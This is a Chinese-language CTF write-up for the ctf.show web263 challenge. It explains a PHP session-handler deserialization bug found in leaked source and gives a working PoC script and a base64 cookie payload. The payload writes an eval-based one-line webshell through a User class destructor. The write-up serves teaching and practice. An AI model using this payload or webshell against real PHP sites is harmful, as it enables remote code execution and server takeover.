题目链接
https://ctf.show/challenges#web263-723
解题思路
进去先是一个登录框
目录扫描一下发现存在源码泄露
查看源码
index.php
error_reporting(0);session_start();//超过5次禁止登陆if(isset($_SESSION['limit'])){$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);}else{setcookie("limit",base64_encode('1'));$_SESSION['limit']= 1;}?>
这里的$_SESSION['limit']是可控变量
并且
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
这里的limit拼写错误
只会执行后面的语句
并且后面这里会跳转到check.php
check.php头部这里包含了inc.php
inc.php这里声明了读取session的处理器为‘php’
看别人的wp分析 猜测这里phpini的默认处理器应该不为php 才在这里声明的
这个猜测非常有道理
(要是不是的话,这题就没有session反序列化漏洞了)
继续往下看
class User{public $username;public $password;public $status;function __construct($username,$password){$this->username = $username;$this->password = $password;}function setStatus($s){$this->status=$s;}function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}
}
这里定义了User类
可以通过file_put_contents()这个函数写入一句话木马
inc.php里面没有反序列的代码
但是当session_start()被执行时
会解析session文件里面的内容(用php处理器)(把它反序列化)然后这里就会触发_destruct()析构函数
到这里这题思路就比较清楚
通过可控变量$_SESSION['limit']构造shell
通过inc.php反序列化触发析构函数 用file_put_contents()写入一句话木马getshell
wp
构造poc
<?php
class User
{public $username;public $password;public $status;// 构造函数,用于初始化对象的属性function __construct($username, $password){$this->username = $username;$this->password = $password;}
}$a = new User('1.php', '<?php @eval($_POST["lcycb"]);?>');
echo '|'.serialize($a);echo base64_encode('|'.serialize($a)); // 序列化并对结果进行 Base64 编码
payload:
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozMToiPD9waHAgQGV2YWwoJF9QT1NUWyJsY3ljYiJdKTs/PiI7czo2OiJzdGF0dXMiO047fQ==
抓包修改limit的值
注意这里要发两次
第一次生成sessionid创建会话
访问check.php触发析构函数 使文件写入
然后访问我们传上去的木马
注意路径
这里直接传在跟目录下的
还有文件名字
前面要加“log-”
访问一下 发现传入成功
即可得到flag